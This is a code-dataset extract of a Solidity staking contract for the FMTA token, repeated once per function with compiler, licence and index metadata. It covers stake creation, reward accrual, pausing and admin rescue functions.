for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
totalStakes
|
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
|
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
8727,
9004
]
}
| 55,506 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
isStakeholder
|
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
|
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
9124,
9384
]
}
| 55,507 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
addStakeholder
|
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
|
/**
* internal function that adds accounts as stakeholders.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
9477,
9689
]
}
| 55,508 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
